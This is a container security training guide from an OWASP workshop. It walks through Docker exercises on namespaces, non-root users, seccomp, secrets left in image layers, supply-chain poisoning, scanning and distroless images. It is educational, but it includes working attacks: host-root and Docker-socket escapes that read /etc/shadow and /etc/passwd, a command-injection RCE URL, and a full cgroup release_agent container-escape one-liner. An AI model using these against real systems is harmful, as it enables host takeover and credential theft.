Awesome
OWASP Container Security Training 2019
1. Containment primitivies
Run "ip" tool from an alpine based container to see what IP you get
docker run --rm -it alpine ip addr show
Set network namespace to host and see the network stack now
docker run --rm -it --net=host alpine ip addr show
Check what processes can the container see
docker run --rm -it alpine ps -ef
Set pid namespace to the host and check the process space now
docker run --rm -it --pid=host alpine ps -ef
Check a process inside the container
docker run --rm -d --name sleeper alpine sleep 300
docker exec sleeper ps
And outside
ps -ef | grep sleep
Now, disable all the checks to get root on your host:
docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host alpine chroot /host
2. Container user
Run the alpine container and check the file system
docker run --rm -it alpine
ls -al
exit
Run it again, mounting host file system and access a root file
docker run --rm -it -v /:/x/ alpine
ls -al /x/
cat /x/etc/shadow
Switching to a non-root user in the image
cd 1
docker build -t alpine-nobody .
docker run --rm -it -v /:/x/ alpine-nobody
cat /x/etc/shadow
Switching to a non-root user in the container
docker run --rm -it -v /:/x/ -u nobody alpine
cat /x/etc/shadow
3. Security profiles
Elevate nobody to root
docker run --rm -it -u nobody alpine unshare --map-root-user --user sh -c id
Now try this
docker run --rm -it -u nobody --security-opt seccomp=unconfined alpine unshare --map-root-user --user sh -c id
and another
docker run --rm -it -u nobody --privileged alpine unshare --map-root-user --user sh -c id
and another
docker run --rm -it -u nobody --cap-add CAP_SYS_ADMIN alpine unshare --map-root-user --user sh -c id
but there is one thing...
cd 2
docker build -t superalpine .
docker run --rm -it -u nobody superalpine id
Can you guess why this is happening?
docker run --rm -it -u nobody --security-opt=no-new-privileges superalpine id
Why does this work?
Checking the containment profiles
curl -fSL "https://github.com/genuinetools/amicontained/releases/download/v0.4.7/amicontained-linux-amd64" -o amicontained
chmod a+x amicontained
docker run --rm -it -v $PWD:/x/ ubuntu:18.04 /x/amicontained
4. Build context and history
Build an image and check it
cd 3
docker build -t tool .
docker run --rm -it tool
docker run --rm -it tool cat prod.env
docker run --rm -it tool cat dev.env
How did prod.env ended up in the image?
docker save tool -o toolimg.tar
tar xvf toolimg.tar
tar xvf 7f06f4b7100f3053cd6332fdfe924a0524976275b44f7371cf3e3332dc4c1101/layer.tar
cat prod.env
How did we find dev.env?
docker inspect tool | grep sha256
docker build -t tool2 -f Dockerfile-2 .
docker inspect tool2 | grep sha256
Why is the number of layers different? Can we find dev.env again?
docker build -t tool3 -f Dockerfile-3 .
docker run --rm tool3
ENV does not create an image layer. Is it now forgotten?
docker history tool3
How about providing a secret ENV variable not at the build time, but at the run time?
docker run --name tool4 -e DB_PASSWORD=runtime_API_key -d alpine sleep 300
docker exec -it tool4 env
docker inspect tool4 | grep PASS
5. Shared Docker API
docker run --rm -ti -v /var/run/docker.sock:/var/run/docker.sock alpine
apk add curl
curl --unix-socket /var/run/docker.sock http://x/containers/json
Thats shows the container you are running in.
Create a new container from inside the current one
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d '{"Image": "alpine","Volumes": {"/hostos/": {}},"Cmd":["sleep","300"], "HostConfig": {"Binds": ["/:/hostos"]}}' http://x/containers/create?name=rooter
Start it
curl --unix-socket /var/run/docker.sock -XPOST http://x/containers/rooter/start
Read host passwords
curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/hostos/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://x/containers/rooter/exec
Grab the ID and use it in this command
curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' -XPOST --data-binary '{"Detach": false,"Tty": false}' http://x/exec/<exec ID here>/start --output -
6. Image supply chain
Start a local registry server
docker run --name registry -d -p 5000:5000 registry:2
There is a base container that your own container starts from, with some base tooling in it
cd 4
docker build -t localhost:5000/toolbase:1.0 -f Dockerfile_base .
docker push localhost:5000/toolbase:1.0
docker build -t localhost:5000/awesometool:1.1 .
docker push localhost:5000/awesometool:1.1
You run your container
docker run --rm localhost:5000/awesometool:1.1
Everything seems normal. And clean up your environment
docker image rm localhost:5000/toolbase:1.0
docker image rm localhost:5000/awesometool:1.1
Now somebody does this on their machine
docker build -t localhost:5000/toolbase:1.0 -f Dockerfile_evil_base .
docker push localhost:5000/toolbase:1.0
docker image rm localhost:5000/toolbase:1.0
You are a developer, rebuilding your container yet again
docker build -t localhost:5000/awesometool:1.1 .
And running it
docker run --rm --name awesometool localhost:5000/awesometool:1.1
Waht do you see? Now stop it
docker kill awesometool
Enumerating vulnerable registries
curl http://localhost:5000/v2/_catalog
curl http://localhost:5000/v2/awesometool/tags/list
7. Windows containers
docker run -it --rm -v c:/:c:/host mcr.microsoft.com/windows/servercore:1809 powershell
whoami
But you have admin rights on your box
echo $null >> /host/windows/system32/test
What is available for your container
Get-WindowsFeature
8. Application Security
Build and run a vulnerable app
cd 5
docker build -t dsvw .
docker run -p 1234:65412 -v /:/www -it dsvw
Now browse and to an RCE
http://localhost:1234/?domain=www.google.com%3B%20cat%20/www/etc/passwd
Scanning with Trivy
WARNING - this will pull a ton of stuff from the internet and save it to a .cache folder in the current folder.
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/.cache:/root/.cache/ aquasec/trivy localhost:5000/awesometool:1.1
Is this information relevant?
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -v $PWD/.cache:/root/.cache/ aquasec/trivy node:lts-jessie-slim
What do you think about this?
Scanning with Clair
mkdir $PWD/clair_config
curl -L https://raw.githubusercontent.com/coreos/clair/master/config.yaml.sample -o $PWD/clair_config/config.yaml
docker run -d -e POSTGRES_PASSWORD="" -p 5432:5432 postgres:9.6
docker run --net=host -d -p 6060-6061:6060-6061 -v $PWD/clair_config:/config quay.io/coreos/clair-git:latest -config=/config/config.yaml
9 Distroless, multistage and scratch
Build a webserver that has no beginnings using first stage to build, and the scratch to run
cd 6
docker build -t httpsrv .
docker run --name srv -d --rm -p 1230:5000 -v $PWD:/www httpsrv
Browse to http://localhost:1230/ to verify that its running.
Now try entering shell in this container
docker exec -it srv /bin/sh
Now export the image and check tar contents
docker save httpsrv -o srv.tar
What do you see?
Try the same on a distroless base
docker run -it gcr.io/distroless/base /bin/sh
Extra credit
Escape a container with a SYS_ADMIN cap
Spawn a new container to exploit
docker run --rm -it --privileged ubuntu bash
Now run the following inside the container
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
It abuses the functionality of the notify_on_release feature in cgroups v1 to run the exploit as a fully privileged root user. For this to work
- We must be running as root inside the container
- The container must be run with the SYS_ADMIN Linux capability
- The container must lack an AppArmor profile, or otherwise allow the mount syscall
- The cgroup v1 virtual filesystem must be mounted read-write inside the container
Which translates to
--security-opt apparmor=unconfined --cap-add=SYS_ADMIN
Protecting against DoS via resource overuse
docker run -d --name c768 --cpuset-cpus 0 --cpu-shares 768 benhall/stress
CGroups examples:
--cpu-shares
--cpuset-cpus
--memory-reservation
--kernel-memory
--blkio-weight (block IO)
--device-read-iops
--device-write-iops
Running dockerized Linux GUI app. Share your XServer
xhost +local:
Run the app, sharing X11 socket
docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix:ro alexivkin/mssqlops $*
What security issues does this command introduce?